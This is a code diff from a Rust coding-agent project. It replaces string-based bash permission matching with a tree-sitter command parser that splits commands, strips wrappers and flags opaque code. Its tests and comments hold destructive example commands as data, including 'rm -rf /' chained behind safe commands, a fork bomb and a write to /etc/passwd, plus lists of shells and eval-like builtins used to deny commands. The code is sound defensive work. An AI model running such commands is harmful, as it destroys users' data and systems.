would parse as a wildcard, or when a character of it would - /// not paint as itself, so the user always sees the exact rule they grant. + /// The narrowest rule that allows the call in `class` with `target`: the one simple command a + /// command runs, or the path the tool resolved, relative inside cwd. `None` when no specifier + /// names the call alone, as for a command that runs several or a `*` that would parse as a + /// wildcard, or when a character of it would not paint as itself, so the user always sees the + /// exact rule they grant. pub(super) fn for_call(class: PermissionClass, target: &Target<'_>) -> Option { let spec = match target { - Target::Command(command) if !command.contains('*') => command.trim().to_owned(), + Target::Command(command) => match command.segments() { + [segment] if !segment.text().contains('*') => segment.text().to_owned(), + _ => return None, + }, Target::Path { canonical, relative, .. } => globset::escape(&slash_separated(Path::new(relative.unwrap_or(canonical)))), - _ => return None, + Target::None => return None, }; if spec.is_empty() || !spec.chars().all(paints_as_itself) { return None; @@ -163,8 +169,16 @@ impl Rule { } let deny = discipline == MatchDiscipline::Deny; match (&self.spec, target) { + (_, Target::Command(command)) if !deny => { + !command.is_opaque() + && !command.segments().is_empty() + && command + .segments() + .iter() + .all(|segment| self.allows(segment)) + } (Spec::Any, _) => true, - (Spec::Bash(spec), Target::Command(cmd)) => spec.matches(cmd, discipline), + (Spec::Bash(spec), Target::Command(command)) => spec.denies(command), ( Spec::RelativePath(glob), Target::Path { @@ -191,6 +205,16 @@ impl Rule { } } + /// Whether this `bash` rule allows `segment`, one simple command of a command that is not + /// opaque. + pub(super) fn allows(&self, segment: &Segment) -> bool { + match &self.spec { + Spec::Any => self.class == PermissionClass::Bash, + Spec::Bash(spec) => spec.matches(segment.text()), + Spec::RelativePath(_) | Spec::AbsolutePath(_) => false, + } + } + /// A copy of this path rule rooted where its literal prefix (the components before the first /// glob character) resolves, when that differs from the prefix as written. A relative rule /// resolves against `cwd` and yields `None` while `cwd` is relative. @@ -328,55 +352,30 @@ impl BashSpec { } } - fn matches(&self, command: &str, discipline: MatchDiscipline) -> bool { - if discipline == MatchDiscipline::Deny { - // Test the whole command so deny patterns containing chain operators still fire, - // then each segment so a danger behind a safe head (`ls && rm -rf`) is caught too. - return self.matches_segment(command.trim()) - || split_segments(command).any(|seg| self.matches_segment(seg)); - } - // Allow rules never widen a compound command: a single chained operator forfeits the match. - !is_compound(command) && self.matches_segment(command.trim()) + /// Whether this deny specifier matches `command` as a whole, so a pattern that itself chains + /// commands (the shipped `* | sh` and fork-bomb defaults) still fires, or any simple command of + /// it as written, unquoted, or with its name's directory dropped. + fn denies(&self, command: &CommandTarget) -> bool { + self.matches(command.command().trim()) + || command.segments().iter().any(|segment| { + let unquoted = segment.words().join(" "); + let name = segment.words().first().map_or("", String::as_str); + let bare = format!("{}{}", basename(name), &unquoted[name.len()..]); + self.matches(segment.text()) || self.matches(&unquoted) || self.matches(&bare) + }) } - fn matches_segment(&self, segment: &str) -> bool { + fn matches(&self, command: &str) -> bool { match self { - Self::Exact(s) => segment == s, - Self::Prefix(p) => segment == p || segment.starts_with(&format!("{p} ")), - Self::Wildcard(re) => re.is_match(segment), + Self::Exact(s) => command == s, + Self::Prefix(p) => command == p || command.starts_with(&format!("{p} ")), + Self::Wildcard(re) => re.is_match(command), } } } // ── Bash Command Helpers ── -/// Shell operators that chain one command into another. Used to split a command for deny matching -/// and to reject compound commands for allow matching. -const CHAIN_CHARS: [char; 4] = [';', '|', '&', '\n']; - -/// Redirection operators. They do not chain a second command, so they are not split points for deny -/// matching, but an allow rule must still refuse them: `echo hi > /etc/passwd` is not `echo hi`. -const REDIRECT_CHARS: [char; 2] = ['>', '<']; - -/// Whether a command chains, pipes, redirects, or substitutes into another command or file. -/// Best-effort: it is the gate against an allow rule silently widening `cargo test` to -/// `cargo test; rm -rf /` or `echo ok > /etc/passwd`. -fn is_compound(command: &str) -> bool { - command.contains(CHAIN_CHARS) - || command.contains(REDIRECT_CHARS) - || command.contains("$(") - || command.contains('`') -} - -/// Splits a command on chain operators into trimmed, non-empty segments. `&&` and `||` split on -/// their single chars and the empty halves drop out, so `a && b` yields `a`, `b`. -fn split_segments(command: &str) -> impl Iterator { - command - .split(CHAIN_CHARS) - .map(str::trim) - .filter(|s| !s.is_empty()) -} - /// Converts a bash wildcard specifier to an anchored regex: literal text is escaped and `*` becomes /// `.*`, so `git *` matches `git status` but not `cargo git`. fn glob_to_regex(glob: &str) -> Regex { @@ -393,11 +392,11 @@ fn glob_to_regex(glob: &str) -> Regex { #[cfg(test)] mod tests { use super::*; - use crate::permission::Zone; + use crate::permission::{GateTarget, Zone}; use crate::util::path::testing::{HOME_VAR, abs}; - fn cmd(s: &str) -> Target<'_> { - Target::Command(s) + fn cmd(s: &str) -> GateTarget { + GateTarget::for_command(s, Path::new("/repo")) } fn path<'a>(canonical: &'a str, relative: Option<&'a str>) -> Target<'a> { @@ -417,7 +416,7 @@ mod tests { let rule = Rule::parse("bash").unwrap(); assert!(rule.matches( PermissionClass::Bash, - &cmd("anything; rm -rf /"), + &cmd("anything; rm -rf /").as_target(), MatchDiscipline::Allow )); } @@ -440,7 +439,11 @@ mod tests { #[test] fn parse_lowercases_class_name_for_case_insensitive_match() { let rule = Rule::parse("Bash(ls)").unwrap(); - assert!(rule.matches(PermissionClass::Bash, &cmd("ls"), MatchDiscipline::Allow)); + assert!(rule.matches( + PermissionClass::Bash, + &cmd("ls").as_target(), + MatchDiscipline::Allow + )); } #[test] @@ -477,16 +480,16 @@ mod tests { #[test] fn for_call_names_the_exact_command() { - let rule = Rule::for_call(PermissionClass::Bash, &cmd(" cargo test ")).unwrap(); + let rule = Rule::for_call(PermissionClass::Bash, &cmd(" cargo test ").as_target()).unwrap(); assert_eq!(rule.to_string(), "bash(cargo test)"); assert!(rule.matches( PermissionClass::Bash, - &cmd("cargo test"), + &cmd("cargo test").as_target(), MatchDiscipline::Allow )); assert!(!rule.matches( PermissionClass::Bash, - &cmd("cargo test --all"), + &cmd("cargo test --all").as_target(), MatchDiscipline::Allow )); } @@ -516,14 +519,21 @@ mod tests { #[test] fn for_call_declines_a_call_no_exact_rule_can_name() { + for command in [ + "ls *.rs", + "cargo test; rm -rf /", + " ", + "cargo test\u{1b}[2K", + "cargo test\u{200b}x", + "cargo\ttest", + "cargo\u{a0}test", + ] { + assert!( + Rule::for_call(PermissionClass::Bash, &cmd(command).as_target()).is_none(), + "{command:?}" + ); + } for target in [ - cmd("ls *.rs"), - cmd("cargo test; rm -rf /"), - cmd(" "), - cmd("cargo test\u{1b}[2K"), - cmd("cargo test\u{200b}x"), - cmd("cargo\ttest"), - cmd("cargo\u{a0}test"), path(&abs("/repo"), Some("")), path(&abs("/repo/a\u{200b}.rs"), Some("a\u{200b}.rs")), Target::None, @@ -556,7 +566,11 @@ mod tests { )); let path_rule = Rule::parse("edit(src/**)").unwrap(); - assert!(!path_rule.matches(PermissionClass::Edit, &cmd("src/a"), MatchDiscipline::Allow)); + assert!(!path_rule.matches( + PermissionClass::Edit, + &cmd("src/a").as_target(), + MatchDiscipline::Allow + )); } #[test] @@ -785,7 +799,7 @@ mod tests { let back: Rule = serde_json::from_str(&json).unwrap(); assert!(back.matches( PermissionClass::Bash, - &cmd("cargo test --all"), + &cmd("cargo test --all").as_target(), MatchDiscipline::Allow )); @@ -860,12 +874,12 @@ mod tests { let rule = Rule::parse("bash(cargo build)").unwrap(); assert!(rule.matches( PermissionClass::Bash, - &cmd("cargo build"), + &cmd("cargo build").as_target(), MatchDiscipline::Allow )); assert!(!rule.matches( PermissionClass::Bash, - &cmd("cargo build --release"), + &cmd("cargo build --release").as_target(), MatchDiscipline::Allow )); } @@ -875,18 +889,18 @@ mod tests { let rule = Rule::parse("bash(cargo test:*)").unwrap(); assert!(rule.matches( PermissionClass::Bash, - &cmd("cargo test"), + &cmd("cargo test").as_target(), MatchDiscipline::Allow )); assert!(rule.matches( PermissionClass::Bash, - &cmd("cargo test --all"), + &cmd("cargo test --all").as_target(), MatchDiscipline::Allow )); // A different command that merely starts with the same letters must not match. assert!(!rule.matches( PermissionClass::Bash, - &cmd("cargo testbench"), + &cmd("cargo testbench").as_target(), MatchDiscipline::Allow )); } @@ -896,42 +910,57 @@ mod tests { let rule = Rule::parse("bash(git *)").unwrap(); assert!(rule.matches( PermissionClass::Bash, - &cmd("git status"), + &cmd("git status").as_target(), MatchDiscipline::Allow )); assert!(!rule.matches( PermissionClass::Bash, - &cmd("cargo git"), + &cmd("cargo git").as_target(), MatchDiscipline::Allow )); } #[test] - fn matches_allow_prefix_refuses_compound_command() { - // The load-bearing safety property: `cargo test:*` must not allow a chained `rm` or a - // redirect that clobbers a file. + fn matches_allow_prefix_refuses_a_command_that_runs_more() { + // The load-bearing safety property: `cargo test:*` must not allow a chained, piped, or + // substituted `rm`. let rule = Rule::parse("bash(cargo test:*)").unwrap(); for command in [ "cargo test && rm -rf /", "cargo test; rm -rf /", "cargo test | tee out", "cargo test $(rm -rf /)", - "cargo test > /etc/passwd", ] { assert!( - !rule.matches(PermissionClass::Bash, &cmd(command), MatchDiscipline::Allow), + !rule.matches( + PermissionClass::Bash, + &cmd(command).as_target(), + MatchDiscipline::Allow + ), "{command}" ); } } #[test] - fn matches_deny_prefix_matches_any_segment_of_compound_command() { - // The mirror property: a deny must fire even when the danger is chained behind a safe head. + fn matches_deny_prefix_matches_any_simple_command_as_written_unquoted_or_by_bare_name() { + // The mirror property: a deny must fire even when the danger is chained behind a safe head, + // quoted, wrapped, or named by its path. let rule = Rule::parse("bash(rm -rf:*)").unwrap(); - for command in ["rm -rf /", "ls && rm -rf /tmp/x", "echo hi; rm -rf ."] { + for command in [ + "rm -rf /", + "ls && rm -rf /tmp/x", + "echo hi; rm -rf .", + r#""rm" '-rf' x"#, + "/bin/rm -rf x", + "FOO=1 nice -n 5 rm -rf x", + ] { assert!( - rule.matches(PermissionClass::Bash, &cmd(command), MatchDiscipline::Deny), + rule.matches( + PermissionClass::Bash, + &cmd(command).as_target(), + MatchDiscipline::Deny + ), "{command}" ); } @@ -949,7 +978,11 @@ mod tests { for (spec, command) in cases { let rule = Rule::parse(spec).unwrap(); assert!( - rule.matches(PermissionClass::Bash, &cmd(command), MatchDiscipline::Deny), + rule.matches( + PermissionClass::Bash, + &cmd(command).as_target(), + MatchDiscipline::Deny + ), "{spec} vs {command:?}" ); } @@ -962,29 +995,11 @@ mod tests { let rule = Rule::parse("bash(:(){ :|:& };:)").unwrap(); assert!(rule.matches( PermissionClass::Bash, - &cmd(":(){ :|:& };:"), + &cmd(":(){ :|:& };:").as_target(), MatchDiscipline::Deny )); } - // ── is_compound / split_segments ── - - #[test] - fn is_compound_flags_chains_pipes_redirects_and_substitution() { - for c in [ - "a; b", "a && b", "a | b", "a\nb", "a $(b)", "a `b`", "a > f", "a >> f", "a < f", - ] { - assert!(is_compound(c), "{c:?} should be compound"); - } - assert!(!is_compound("cargo test --all")); - } - - #[test] - fn split_segments_drops_empty_halves_of_double_operators() { - let segments: Vec<_> = split_segments("a && b || c").collect(); - assert_eq!(segments, ["a", "b", "c"]); - } - // ── glob_to_regex ── #[test] diff --git a/crates/oxide-code/src/permission/shell.rs b/crates/oxide-code/src/permission/shell.rs new file mode 100644 index 00000000..d9a3f303 --- /dev/null +++ b/crates/oxide-code/src/permission/shell.rs @@ -0,0 +1,1019 @@ +//! `bash` command analysis for the permission gate. tree-sitter-bash splits a command into the +//! simple commands it runs and the files its output redirections write, so rules weigh each simple +//! command on its own. Leading assignments and transparent wrappers are stripped first. A command +//! the analysis cannot vouch for is opaque: rules may deny it or leave it to ask, but never allow +//! it. Design: `docs/design/tools/permissions.md`. + +use std::path::Path; +use std::sync::LazyLock; + +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tree_sitter::{Node, Parser}; + +use crate::permission::GateTarget; +use crate::util::path::expand_user; + +/// Shells, whose `-c` script, script file, or stdin is code the analysis does not see. +const SHELLS: &[&str] = &[ + "ash", "bash", "busybox", "csh", "dash", "fish", "ksh", "mksh", "pwsh", "sh", "tcsh", "zsh", +]; + +/// Builtins that run a string or a file as shell code, or evaluate one as arithmetic, which can +/// itself hold a substitution. +const CODE_BUILTINS: &[&str] = &[".", "eval", "let", "source", "trap"]; + +/// Builtins that change the working directory, after which a relative redirection target no longer +/// names the file the gate resolved. +const DIRECTORY_CHANGERS: &[&str] = &["cd", "popd", "pushd"]; + +/// Redirection operators that write their target. +const WRITE_OPERATORS: &[&str] = &[">", ">>", ">|", "&>", "&>>", ">&"]; + +/// Redirection targets that are devices, so writing them edits no file. +const DEVICES: &[&str] = &["/dev/null", "/dev/stderr", "/dev/stdout", "/dev/tty"]; + +/// Wrappers that run the command after their own options unchanged, so rules see through them. +const WRAPPERS: &[Wrapper] = &[ + Wrapper { + name: "env", + flags: &[ + "-", + "-0", + "-i", + "-v", + "--debug", + "--ignore-environment", + "--null", + ], + valued: &["-C", "-u", "--chdir", "--unset"], + numeric: false, + positionals: 0, + assignments: true, + }, + Wrapper { + name: "nice", + flags: &[], + valued: &["-n", "--adjustment"], + numeric: true, + positionals: 0, + assignments: false, + }, + Wrapper { + name: "nohup", + flags: &[], + valued: &[], + numeric: false, + positionals: 0, + assignments: false, + }, + Wrapper { + name: "time", + flags: &["-p"], + valued: &[], + numeric: false, + positionals: 0, + assignments: false, + }, + Wrapper { + name: "timeout", + flags: &["-v", "--foreground", "--preserve-status", "--verbose"], + valued: &["-k", "-s", "--kill-after", "--signal"], + numeric: false, + positionals: 1, + assignments: false, + }, +]; + +/// `find` primaries that run a command or write a file. +const FIND_ACTIONS: &[&str] = &[ + "-delete", "-exec", "-execdir", "-fls", "-fprint", "-fprint0", "-fprintf", "-ok", "-okdir", +]; + +/// A `sed` script of commands that only print, delete, substitute, or move text between buffers. +/// It leaves out `r`, `w`, and `e`, and the `w` and `e` substitution flags, which read a file, +/// write one, or run a command. +static SAFE_SED_SCRIPT: LazyLock = LazyLock::new(|| { + let text = r"(?:[^/\\\n]|\\.)*"; + let address = format!(r"(?:\d+(?:~\d+)?|\$|/{text}/I?)"); + let command = format!( + r"(?:{address}(?:\s*,\s*{address})?\s*!?\s*)?(?:[=dDgGhHlnNpPqQxz]|s/{text}/{text}/[gpiIm0-9]*|y/{text}/{text}/)" + ); + Regex::new(&format!( + r"^\s*(?:{command}\s*(?:[;\n]\s*{command}\s*)*)?;?\s*$" + )) + .expect("the sed script pattern is valid") +}); + +// ── Command Target ── + +/// A `bash` call's command and what the analysis found in it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub(crate) struct CommandTarget { + /// The command as the call passes it. + command: String, + /// Each simple command it runs, including those inside substitutions and literal `sh -c` or + /// `eval` scripts. + segments: Vec, + /// The files its output redirections write, resolved like an edit's path. + writes: Vec, + /// Whether it runs code the analysis does not see or cannot place. + opaque: bool, +} + +impl CommandTarget { + /// Parses `command`, resolving the files it reads and writes against `cwd`. + pub(crate) fn parse(command: &str, cwd: &Path) -> Self { + let mut walk = Walk { + cwd, + segments: Vec::new(), + writes: Vec::new(), + opaque: false, + changes_dir: false, + relative_write: false, + }; + walk.script(command); + Self { + command: command.to_owned(), + segments: walk.segments, + writes: walk.writes, + opaque: walk.opaque || (walk.changes_dir && walk.relative_write), + } + } + + pub(crate) fn command(&self) -> &str { + &self.command + } + + pub(super) fn segments(&self) -> &[Segment] { + &self.segments + } + + pub(super) fn writes(&self) -> &[GateTarget] { + &self.writes + } + + pub(super) const fn is_opaque(&self) -> bool { + self.opaque + } +} + +/// One simple command, from its name on, after its leading assignments and transparent wrappers. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub(super) struct Segment { + /// The command as written. + text: String, + /// The words the shell passes, unquoted, or as written where a word expands. + words: Vec, + /// The files a shipped known-safe read-only command reads, resolved like a read's path, or + /// `None` for any other command. + safe_reads: Option>, +} + +impl Segment { + pub(super) fn text(&self) -> &str { + &self.text + } + + pub(super) fn words(&self) -> &[String] { + &self.words + } + + pub(super) fn safe_reads(&self) -> Option<&[GateTarget]> { + self.safe_reads.as_deref() + } +} + +// ── Walk ── + +/// What one command and the scripts nested in it run and write, gathered over its syntax tree. +struct Walk<'a> { + cwd: &'a Path, + segments: Vec, + writes: Vec, + opaque: bool, + /// Whether some segment changes the working directory. + changes_dir: bool, + /// Whether some write names a relative path. + relative_write: bool, +} + +impl Walk<'_> { + fn script(&mut self, source: &str) { + let mut parser = Parser::new(); + parser + .set_language(&tree_sitter_bash::LANGUAGE.into()) + .expect("the bundled bash grammar matches the tree-sitter ABI"); + let tree = parser + .parse(source, None) + .expect("parsing stops early only on a timeout or cancellation, and neither is set"); + let root = tree.root_node(); + self.opaque |= root.has_error(); + self.visit(root, source); + } + + fn visit(&mut self, node: Node<'_>, src: &str) { + match node.kind() { + "command" => self.command(node, src), + "file_redirect" => self.redirect(node, src), + _ => { + self.opaque |= runs_hidden_code(node); + self.visit_children(node, src); + } + } + } + + fn visit_children(&mut self, node: Node<'_>, src: &str) { + let mut cursor = node.walk(); + for child in node.named_children(&mut cursor) { + self.visit(child, src); + } + } + + fn command(&mut self, node: Node<'_>, src: &str) { + let mut cursor = node.walk(); + let words: Vec> = node + .named_children(&mut cursor) + .filter_map(|child| match child.kind() { + "command_name" => child.named_child(0), + "variable_assignment" + | "file_redirect" + | "herestring_redirect" + | "heredoc_redirect" => None, + _ => Some(child), + }) + .map(|word| Word::new(word, src)) + .collect(); + self.visit_children(node, src); + + let words = self.strip_wrappers(&words); + let Some((first, args)) = words.split_first() else { + return; + }; + let name = first.value.as_deref(); + match name { + None => self.opaque = true, + Some(name) => { + let base = basename(name); + if SHELLS.contains(&base) || CODE_BUILTINS.contains(&base) { + self.opaque = true; + self.nested_script(base, args); + } + self.changes_dir |= DIRECTORY_CHANGERS.contains(&name); + } + } + let safe_reads = name + .and_then(|name| safe_operands(name, args)) + .map(|operands| { + operands + .iter() + .map(|operand| GateTarget::for_path(operand, self.cwd)) + .collect() + }); + self.segments.push(Segment { + text: src[first.node.start_byte()..node.end_byte()].to_owned(), + words: words.iter().map(|word| word.shell_value(src)).collect(), + safe_reads, + }); + } + + /// `words` past the transparent wrappers that lead them. A wrapper option the analysis does + /// not know leaves the command where it cannot be found, so it turns the command opaque. + fn strip_wrappers<'w, 't>(&mut self, mut words: &'w [Word<'t>]) -> &'w [Word<'t>] { + while let Some((name, args)) = words.split_first() + && let Some(name) = name.value.as_deref() + && let Some(wrapper) = WRAPPERS.iter().find(|w| w.name == basename(name)) + { + match wrapper.command_start(args) { + Start::At(start) => words = &args[start..], + Start::Alone => break, + Start::Unknown => { + self.opaque = true; + break; + } + } + } + words + } + + /// Walks the literal script a shell's `-c` option or `eval` runs, so deny rules see the + /// commands inside it. + fn nested_script(&mut self, runner: &str, args: &[Word<'_>]) { + let script = if runner == "eval" { + args.iter() + .map(|word| word.value.as_deref()) + .collect::>>() + .map(|values| values.join(" ")) + } else if SHELLS.contains(&runner) { + args.iter() + .position(|word| word.value.as_deref().is_some_and(is_command_option)) + .and_then(|i| args.get(i + 1)?.value.clone()) + } else { + None + }; + if let Some(script) = script { + self.script(&script); + } + } + + fn redirect(&mut self, node: Node<'_>, src: &str) { + self.visit_children(node, src); + let mut cursor = node.walk(); + let operator = node + .children(&mut cursor) + .find(|child| !child.is_named()) + .map(|child| child.kind()); + if !operator.is_some_and(|op| WRITE_OPERATORS.contains(&op)) { + return; + } + let destinations: Vec> = node + .children_by_field_name("destination", &mut cursor) + .collect(); + // tree-sitter-bash folds the words after `>&2` into further destinations, which leaves + // the command's real arguments unknown. + let &[destination] = destinations.as_slice() else { + self.opaque = true; + return; + }; + + let word = Word::new(destination, src); + let Some(path) = word.value.filter(|_| !word.glob) else { + self.opaque = true; + return; + }; + if operator == Some(">&") && (destination.kind() == "number" || path == "-") { + return; + } + if DEVICES.contains(&path.as_str()) { + return; + } + self.relative_write |= Path::new(&path).is_relative(); + self.writes.push(GateTarget::for_path(&path, self.cwd)); + } +} + +/// Whether `node` runs code no simple command shows: a substitution, or arithmetic, which +/// evaluates a variable's value as an expression that can itself hold a substitution. +fn runs_hidden_code(node: Node<'_>) -> bool { + match node.kind() { + "arithmetic_expansion" + | "c_style_for_statement" + | "command_substitution" + | "process_substitution" + | "test_command" => true, + "compound_statement" => node.child(0).is_some_and(|open| open.kind() == "(("), + _ => false, + } +} + +/// The last component of a command path, so `/bin/sh` counts as `sh`. +pub(super) fn basename(name: &str) -> &str { + name.rsplit(['/', '\\']).next().unwrap_or(name) +} + +/// Whether a shell option cluster such as `-c` or `-lc` takes the script as the next word. +fn is_command_option(arg: &str) -> bool { + arg.starts_with('-') && !arg.starts_with("--") && arg.contains('c') +} + +// ── Wrapper ── + +/// A transparent wrapper's option grammar. +struct Wrapper { + name: &'static str, + flags: &'static [&'static str], + /// Options that take a value, either as the next word or attached (`-n5`, `--signal=KILL`). + valued: &'static [&'static str], + /// Whether `-N` sets a number, as `nice -10` does. + numeric: bool, + /// Words after the options that precede the command, such as `timeout`'s duration. + positionals: usize, + /// Whether `NAME=VALUE` words may follow the options, as with `env`. + assignments: bool, +} + +/// Where a wrapper's command starts among its arguments. +enum Start { + At(usize), + /// No command follows, so the wrapper runs alone. + Alone, + /// An option the grammar does not know hides where the command starts. + Unknown, +} + +impl Wrapper { + fn command_start(&self, args: &[Word<'_>]) -> Start { + let mut i = 0; + while let Some(arg) = args.get(i) { + let Some(arg) = arg.value.as_deref() else { + return Start::Unknown; + }; + if arg == "--" { + i += 1; + break; + } + if !arg.starts_with('-') || (arg == "-" && !self.flags.contains(&arg)) { + break; + } + i += if self.flags.contains(&arg) { + 1 + } else if self.valued.contains(&arg) { + 2 + } else if self.valued.iter().any(|option| is_attached(arg, option)) + || (self.numeric && arg.len() > 1 && arg[1..].bytes().all(|b| b.is_ascii_digit())) + { + 1 + } else { + return Start::Unknown; + }; + } + i += self.positionals; + if self.assignments { + while args + .get(i) + .and_then(|arg| arg.value.as_deref()) + .is_some_and(is_assignment) + { + i += 1; + } + } + if i < args.len() { + Start::At(i) + } else { + Start::Alone + } + } +} + +/// Whether `arg` is `option` with its value attached. +fn is_attached(arg: &str, option: &str) -> bool { + arg.strip_prefix(option).is_some_and(|value| { + if option.starts_with("--") { + value.starts_with('=') + } else { + !value.is_empty() + } + }) +} + +/// Whether `arg` is a `NAME=VALUE` environment assignment. +fn is_assignment(arg: &str) -> bool { + arg.split_once('=').is_some_and(|(name, _)| { + name.starts_with(|c: char| c == '_' || c.is_ascii_alphabetic()) + && name.chars().all(|c| c == '_' || c.is_ascii_alphanumeric()) + }) +} + +// ── Word ── + +/// One word of a simple command. +struct Word<'t> { + node: Node<'t>, + /// The value the shell gives the word after tilde expansion and quote removal, or `None` + /// when part of it expands at run time. + value: Option, + /// Whether an unquoted `*`, `?`, `[`, or `{` leaves the word to pathname or brace expansion. + glob: bool, +} + +impl<'t> Word<'t> { + fn new(node: Node<'t>, src: &str) -> Self { + let (value, glob) = unquote(node, src, true).unzip(); + Self { + node, + value, + glob: glob.unwrap_or(false), + } + } + + fn shell_value(&self, src: &str) -> String { + self.value + .clone() + .unwrap_or_else(|| src[self.node.byte_range()].to_owned()) + } +} + +/// `node`'s value and whether it globs, for [`Word`]. Tilde expansion applies to a `leading` word +/// alone, and `~user` has no value, since the analysis does not look users up. +fn unquote(node: Node<'_>, src: &str, leading: bool) -> Option<(String, bool)> { + let text = &src[node.byte_range()]; + match node.kind() { + "word" => unquote_word(text, leading), + "number" => Some((text.to_owned(), false)), + "raw_string" => Some((text.get(1..text.len() - 1)?.to_owned(), false)), + "string" => { + let mut cursor = node.walk(); + if !node + .named_children(&mut cursor) + .all(|part| part.kind() == "string_content") + { + return None; + } + Some((unquote_double(text.get(1..text.len() - 1)?), false)) + } + "concatenation" => { + let mut cursor = node.walk(); + let mut value = String::new(); + let mut glob = false; + for (i, part) in node.named_children(&mut cursor).enumerate() { + let (part, part_glob) = unquote(part, src, leading && i == 0)?; + value.push_str(&part); + glob |= part_glob; + } + Some((value, glob)) + } + _ => None, + } +} + +/// An unquoted word's value, with backslash escapes removed and a leading `~` expanded. +fn unquote_word(text: &str, leading: bool) -> Option<(String, bool)> { + let mut value = String::with_capacity(text.len()); + let mut glob = false; + let mut chars = text.chars(); + while let Some(c) = chars.next() { + match c { + '\\' => value.extend(chars.next().filter(|&next| next != '\n')), + '*' | '?' | '[' | '{' => { + glob = true; + value.push(c); + } + _ => value.push(c), + } + } + if leading && text.starts_with('~') { + if value != "~" && !value.starts_with("~/") { + return None; + } + value = expand_user(&value).ok()?.to_string_lossy().into_owned(); + } + Some((value, glob)) +} + +/// A double-quoted string's value: a backslash escapes only `$`, `` ` ``, `"`, `\`, and a line +/// break. +fn unquote_double(inner: &str) -> String { + let mut value = String::with_capacity(inner.len()); + let mut chars = inner.chars().peekable(); + while let Some(c) = chars.next() { + match (c, chars.peek()) { + ('\\', Some(&'\n')) => _ = chars.next(), + ('\\', Some(&next @ ('$' | '`' | '"' | '\\'))) => { + value.push(next); + chars.next(); + } + _ => value.push(c), + } + } + value +} + +// ── Known-Safe Commands ── + +/// The words that may name a file read by the shipped known-safe read-only command `name`, or +/// `None` when `name` is no such command or `args` take it out of the safe set. Every argument +/// must be literal and free of globs, so each file it reads is one the gate can check. +fn safe_operands(name: &str, args: &[Word<'_>]) -> Option> { + if matches!(name, "echo" | "false" | "pwd" | "true") { + return Some(Vec::new()); + } + let values = args + .iter() + .map(|word| word.value.as_deref().filter(|_| !word.glob)) + .collect::>>()?; + let safe = match name { + "cat" | "head" | "ls" | "tail" | "wc" => true, + "find" => !values.iter().any(|value| FIND_ACTIONS.contains(value)), + "grep" => !values.iter().any(|value| is_recursive_grep(value)), + "sed" => is_safe_sed(&values), + _ => false, + }; + safe.then(|| operands(&values)) +} + +/// Every argument that may name a file: each word past the options, the value of a long option +/// such as `--file=x`, and the rest of a short option cluster, which may hold an attached value. +fn operands(values: &[&str]) -> Vec { + let mut operands = Vec::new(); + let mut options = true; + for &value in values { + if options && value == "--" { + options = false; + continue; + } + let operand = if !options || !value.starts_with('-') { + value + } else if let Some(long) = value.strip_prefix("--") { + long.split_once('=').map_or("", |(_, value)| value) + } else { + let mut cluster = value[1..].chars(); + cluster.next(); + cluster.as_str() + }; + if !operand.is_empty() && operand != "-" { + operands.push(operand.to_owned()); + } + } + operands +} + +/// Whether a `grep` argument makes it read every file under a directory. +fn is_recursive_grep(arg: &str) -> bool { + matches!(arg, "--dereference-recursive" | "--recursive" | "recurse") + || arg.ends_with("=recurse") + || (arg.starts_with('-') && !arg.starts_with("--") && arg.contains(['r', 'R'])) +} + +/// Whether a `sed` call edits no file and runs no command: no in-place edit, no script file, and +/// only scripts [`SAFE_SED_SCRIPT`] accepts. +fn is_safe_sed(values: &[&str]) -> bool { + let mut scripts = Vec::new(); + let mut operands = Vec::new(); + let mut args = values.iter().copied(); + while let Some(arg) = args.next() { + if arg == "--" { + operands.extend(args.by_ref()); + } else if let Some(long) = arg.strip_prefix("--") { + if long.starts_with("file") || long.starts_with("in-place") { + return false; + } + if let Some(script) = long.strip_prefix("expression=") { + scripts.push(script); + } else if long == "expression" { + let Some(script) = args.next() else { + return false; + }; + scripts.push(script); + } + } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) { + if cluster.contains(['f', 'i']) { + return false; + } + if let Some(at) = cluster.find('e') { + let attached = &cluster[at + 1..]; + let Some(script) = (if attached.is_empty() { + args.next() + } else { + Some(attached) + }) else { + return false; + }; + scripts.push(script); + } + } else { + operands.push(arg); + } + } + if scripts.is_empty() { + let Some(&script) = operands.first() else { + return false; + }; + scripts.push(script); + } + scripts + .iter() + .all(|script| SAFE_SED_SCRIPT.is_match(script)) +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use indoc::indoc; + + use super::*; + use crate::util::path::testing::{HOME_VAR, abs}; + + fn temp_cwd() -> (tempfile::TempDir, PathBuf) { + let dir = tempfile::tempdir().unwrap(); + let cwd = dunce::canonicalize(dir.path()).unwrap(); + (dir, cwd) + } + + fn parse(command: &str) -> CommandTarget { + CommandTarget::parse(command, Path::new("/repo")) + } + + fn texts(command: &str) -> Vec { + parse(command) + .segments + .into_iter() + .map(|segment| segment.text) + .collect() + } + + fn words(command: &str) -> Vec { + parse(command).segments.remove(0).words + } + + /// Each write's path relative to `cwd`, or as requested outside it. + fn writes(command: &str, cwd: &Path) -> Vec { + CommandTarget::parse(command, cwd) + .writes + .into_iter() + .map(|write| match write { + GateTarget::Path { + relative, + requested, + .. + } => relative.unwrap_or(requested), + other => panic!("a write is a path target, got {other:?}"), + }) + .collect() + } + + fn is_safe(command: &str) -> bool { + parse(command).segments[0].safe_reads.is_some() + } + + // ── CommandTarget::parse: segments ── + + #[test] + fn parse_splits_simple_commands_across_every_separator() { + for (command, expected) in [ + ("a; b", &["a", "b"][..]), + ("a && b || c", &["a", "b", "c"]), + ("a | b |& c", &["a", "b", "c"]), + ("a & b", &["a", "b"]), + ("a\nb", &["a", "b"]), + ("(cd x && ls) ; { echo a; }", &["cd x", "ls", "echo a"]), + ("! git diff --quiet", &["git diff --quiet"]), + ("if true; then ls -la; fi", &["true", "ls -la"]), + ] { + assert_eq!(texts(command), expected, "{command:?}"); + } + let command = parse("cargo test --all"); + assert_eq!(command.command(), "cargo test --all"); + assert!(!command.is_opaque()); + } + + #[test] + fn parse_strips_leading_assignments_and_keeps_words_unquoted() { + assert_eq!(texts(r#"FOO=1 BAR="x y" cargo test"#), ["cargo test"]); + assert_eq!( + words(indoc! {r#" + "rm" -rf 'a b' c\ d "e\"f\ + g\h" "$HOME" + "#}), + ["rm", "-rf", "a b", "c d", "e\"fg\\h", "\"$HOME\""] + ); + assert!(texts("FOO=1").is_empty(), "an assignment runs no command"); + } + + #[test] + fn parse_expands_a_leading_tilde_only() { + 